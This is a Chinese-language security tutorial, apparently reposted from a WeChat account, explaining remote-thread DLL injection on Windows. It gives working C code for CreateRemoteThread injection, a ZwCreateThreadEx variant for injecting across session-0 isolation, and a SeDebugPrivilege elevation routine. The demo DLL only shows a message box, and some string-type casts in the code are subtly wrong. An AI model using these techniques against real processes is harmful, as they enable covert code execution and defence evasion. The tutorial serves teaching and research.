01
函数介绍
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
)
想拥有该进程的访问权限,若进程启动了SeDebugPrivilege权限,则无论安全描述符内容是什么,都会授予请求的访问权限。
若该值为TRUE,则此进程创建的进程将继承该句柄。
本地进程的PID。
成功:返回进程打开句柄
失败:返回NULL
VirtualAllocEx
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)
指定要分配页面所需起始地址指针。若为NULL,则自动分配内存。
要分配的内存大小,单位为字节。
内存分配类型。具体参数参考官方手册。
要分配的页面区域的内存保护。
成功:返回分配页面基址
失败:返回NULL
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
)
hProcess:
要修改的进程内存的句柄。句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限。
指向指定进程中写入数据的基地址指针。
指向缓冲区的指针,其中包含要写入指定进程的地址空间中的数据。
要写入指定进程的字节数。
指向变量的指针,该变量接收传输到指定进程的字节数。
成功:返回不为0
失败:返回0
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
)
要创建线程的进程句柄。句柄必须具有PROCESS_CREATE_THREAD、RPOCESS_QUERY_INFORMATION、PROCESS_VM_OPERATION、PROCESS_VM_WRITE和PROCESS_VM_READ访问权限。
指向SECURITY_ATTRIBUTES结构的指针,该结构指定新线程的安全描述符,并确定进程是否可以继承返回的句柄。若为NULL,则线程获取默认的安全描述符,不能继承该句柄。
堆栈的初始大小,以字节为单位。
指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示远程进程中线程的起始地址,该函数必须存在于远程进程中。
指向要传递给线程函数的变量的指针。
控制线程创建的标志。若为0,表示线程在创建后立即运行。
成功:返回新线程的句柄
失败:返回NULL
02
实现过程
2、调用VirtualAllocEx函数向目标进程空间申请一块内存。
3、调用WriteProcessMemory函数将指定的DLL路径写入到目标进程空间。
4、通过CreateRemoteThread函数加载LoadLibrary函数的地址,进行DLL注入。
03
实例代码
#include <Windows.h>
#include <stdio.h>
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, wchar_t *pszDllFileName) {
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
// 打开注入的进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess) {
printf("Error OpenProcess,%d", GetLastError());
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + lstrlen(pszDllFileName);
pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) {
printf("Error VirtualAllocEx,%d", GetLastError());
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
printf("Error WriteProcessMemory,%d", GetLastError());
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) {
printf("Error GetProcAddress,%d", GetLastError());
return FALSE;
}
// CreateRemoteThreadc创建远程线程,实现dll注入
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
if (NULL == hRemoteThread) {
printf("Error CreateRemoteThread,%d", GetLastError());
return FALSE;
}
CloseHandle(hProcess);
return TRUE;
}
int main() {
wchar_t* dllPath = (wchar_t*)"D:\Dll1.dll";
CreateRemoteThreadInjectDll(9956, dllPath);
return 0;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:{
MessageBoxA(NULL, "Inject is OK!", "OK", MB_OK);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
04
突破session0隔离的远线程注入
win64下:
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
)
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
)
#include "Windows.h"
#include <stdio.h>
BOOL ZwCreateThreadExInjectDLL(DWORD dwProcessId, const char* pszDllFileName) {
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess) {
printf("Error OpenProcess:%d", GetLastError());
return FALSE;
}
// 申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL){
printf("Error VirtualAllocEx:%d", GetLastError());
return FALSE;
}
// 写入数据
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
printf("Error WriteProcessMemory:%d", GetLastError());
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
// 加载ntdll.dll
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll) {
printf("Error Load 'ntdll.dll':%d", GetLastError());
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) {
printf("Error GetProcAddress 'LoadLibraryW':%d", GetLastError());
return FALSE;
}
// 获取ZwCreateThreadEx函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx) {
printf("Error GetProcAddress 'ZwCreateThreadEx':%d", GetLastError());
return FALSE;
}
// 使用ZwCreateThreadEx创建远线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread) {
printf("Error Inject DLL:%u", dwStatus);
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
return TRUE;
}
// OpenProcess打开高权限的进程需要提权
BOOL EnbalePrivileges(HANDLE hProcess, const char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
printf("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet){
printf("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet){
printf("AdjustTokenPrivileges");
return FALSE;
}
else{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet){
printf("SUCCESS!!");
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet){
printf("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}
int main() {
HANDLE hProcess = GetCurrentProcess();
EnbalePrivileges(hProcess, SE_DEBUG_NAME);
const char* dllPath = "E:\Dll1.dll";
ZwCreateThreadExInjectDLL(2940, dllPath);
return 0;
}
05
踩坑记录
2、注入dll需要与注入进程的字符集相同,vs2019可以在项目属性->高级处选择字符集(被这里坑了好久,普通session层可以注入,session0注入不了,查了好久,最后一个大佬说字符集要相同,后面将dll、exe字符集改成多字符集注入成功了)
推荐阅读
原文始发于微信公众号(锦行信息安全):技术分享 | DLL注入之远线程注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论